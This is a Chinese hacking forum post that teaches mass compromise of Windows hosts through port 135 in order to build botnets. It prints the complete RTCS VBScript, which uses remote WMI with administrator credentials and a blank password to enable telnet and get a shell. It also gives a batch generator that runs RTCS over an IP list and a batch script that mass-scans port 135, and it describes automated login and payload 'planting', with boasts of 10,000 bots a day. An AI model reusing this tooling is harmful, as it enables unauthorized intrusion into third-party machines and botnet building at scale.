利用常见135端口批量抓肉鸡的经典入侵方法

最近，关于135端口抓肉鸡的话题再次升温。看到有人公开了批量抓取135肉鸡的工具，我也想谈谈个人看法——毕竟现在很少使用这类工具了。之前看过一个视频，声称一天能抓1000只肉鸡，最初以为是自动登录telnet，仔细看才发现理解有误。后来联系了作者，对方一开口就要价2000RMB批量开23，这人品实在不敢恭维……实际上，那款工具是2002年安全焦点一位前辈编写的，全套代码很早以前就流传过。后来有朋友将RT整套脚本整合成了RCMD 1.05，这也是目前的最新版本。

首先，需要解决几个关键问题。批量开23的核心在于rtcs脚本（百度搜索即可下载，找不到的话说明搜索能力有待提升）。如果熟悉VBS，可以研究一下代码：它先用VBS远程连接主机的WMI服务，然后处理开启和过认证的流程。以前有文章分析过，作者写了一个小bug——如果目标已经开启，可以直接跳过，这里不再赘述。下面是我自己以前写的一个批处理，感兴趣可以看看，其实逻辑很简单。外面流传的版本需要过滤23，我这个则不需要。代码的正确性没有经过测试，因为写了好几个版本，已经记不清哪个能用了，但思路很清晰，相信大家能看懂。

for /f "delims= " %%i in (nt.txt) do del %%i.bat
for /f "delims= " %%i in (nt.txt) do echo goto start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "shell">>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto b>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto d>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :d>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo SecureCRT.EXE %%i&goto exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :b>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo cscript rtcs.vbe %%i administrator "" 1 23^|find "error">>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=1 goto start>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo if errorlevel=0 goto exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo :exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do echo exit>>%%i.bat
for /f "delims= " %%i in (nt.txt) do start %%i.bat
exit

第二个需要解决的问题是批量登录和种植。我曾尝试用脚本先telnet IP，再通过sendkey发送命令，但发现只能逐个种植，无法实现批量操作。后来朋友提供了“冰冰批量”的版本，也就是现在外面能看到的那个，它很好地解决了批量登录和自动种植的问题——通过调用辅助工具，设置登录脚本后自动完成种植。但用过的人都知道，telnet认证过程非常复杂，容易因为提示丢失导致脚本出错。今天上网帮朋友处理事情，思路有点乱，总结一下整体流程：

首先，编写一个S扫描的bat文件，里面用for循环自动整理IP，然后进行NT过滤，再调用上面那个批处理批量开23，最后写一个批处理直接调用辅助工具实现自动登录和自动种植。效果如何，大家看动画演示就知道了。后来我自己写的一个版本更加出色，不过暂时保密，因为工具是给兄弟群共享的，他们有业务需求。如果公开了，恐怕会被封杀。给懂VBS的朋友一点启发：前面的扫描和NT过滤流程不变，远程连接WMI可以参考rtcs脚本，关键点在于——远程连接WMI服务难道只有开telnet这一条路吗？WMI的功能非常丰富，具体能做什么，可以查阅安焦rtcs作者2002年的文章。目前我写的脚本和所有工具打包后只有70多KB，同时开4个服务器一天能抓1万只肉鸡，信不信由你。大家知道recton里有一个http种植者的功能吧？去找找相关文章，看看别人是怎么实现的。最近风声很紧，有业务的朋友最好小心，通道并不安全。

下面是rtcs的代码，保存为VBS即可：

on error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<5 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
ntlm=wscript.arguments(3)
port=wscript.arguments(4)
if password=chr(34)&chr(34) then password=NULL
if ntlm<0 or ntlm>2 then
usage()
wscript.echo "The value of NTML is wrong."
wscript.quit
end if
usage()
wscript.echo "Conneting "&ipaddress&"...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
showerror(err.number)
wscript.echo "Setting NTLM="&ntlm&"...."
set objinstance=objswbemservices.get("stdregprov")
set objmethod=objinstance.methods_("SetDWORDvalue")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
objinparam.svaluename="NTLM"
objinparam.uvalue=ntlm
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
wscript.echo "Setting port="&port&"...."
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
showerror(objoutparam.returnvalue)
wscript.echo "Querying state of telnet server...."
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
wscript.echo "Telnet server has been disabled. Now changeing start mode to manual...."
set objmethod=objinstance.methods_("changestartmode")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
showerror(objoutparam.returnvalue)
end if
wscript.echo "Changeing state...."
if objinstance.started=true then
intstatus=objinstance.stopservice()
showerror(intstatus)
wscript.echo "Target telnet server has been STOP Successfully."
else
intstatus=objinstance.startservice()
showerror(intstatus)
wscript.echo "Target telnet server has been START Successfully!"
wscript.echo "Now, you can try: telnet "&ipaddress&" "&port&", to get a shell."
end if
next
function showerror(errornumber)
if errornumber<>0 then
wscript.echo "Error!"
wscript.quit
else
wscript.echo "OK!"
end if
end function
function usage()
wscript.echo "************************************************************************"
wscript.echo "RTCS v1.08"
wscript.echo "Remote Telnet Configure Script"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password NTLMAuthor telnetport"
wscript.echo "It will auto change state of target telnet server."
wscript.echo "************************************************************************"
end function

经典吧？呵呵，管理员要是觉得有价值，不妨给点奖励啊，呵呵。

关于for循环，这里解释一下：for /f这个参数用于对文本进行操作，tokens表示截取，tokens=1,2表示选取第1和第2部分，eol表示忽略指定字符开头的行，eol=-表示忽略以-开头的行，delims表示分隔符，delims=,表示以逗号为分隔符对每行进行分割。下面给大家提供一个S扫描自动整理IP的批处理示例：

s.bat
setlocal
cls
color A
title 自动抓鸡v1.0
echo ======================================================
echo 自动抓鸡v1.0
echo ======================================================
del result.txt
del s.txt
for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /sa ve
for /f "eol=- tokens=1 delims= " %%i in (result.txt) do echo %%i>>s1.txt
for /f "eol=P tokens=1 delims= " %%i in (s1.txt) do echo %%i>>s2.txt
for /f "eol=S tokens=1 delims= " %%i in (s2.txt) do echo %%i>>s.txt
del s1.txt
del s2.txt
del Result.txt

扫描那行的for循环：for /f "eol= tokens=1,2 delims= " %%i in (ip.txt) do s tcp %%i %%j 135 1000 /sa ve，意思是从ip.txt中读取每行，以空格分割，然后获取分割后的第一部分和第二部分。第一个%%i是形参，代表要取出的部分，后面的%%i和%%j表示取出的两个部分按顺序依次代替。后面的几行是对扫描结果result进行过滤整理，先忽略以空格、-、P、S开头的行，然后通过echo写入文本来完成转换。使用方法：将上述批处理代码保存为s.bat，然后在同一目录下创建ip.txt文本，把下面的内容复制进去（无需整理，直接全放进去，汉字不需要去掉）。扫描和整理结束后会生成一个s.txt文本，自己打开看看效果。顺便提醒一下，把s.exe、ip.txt和s.bat放在同一目录即可。好了，先闪了。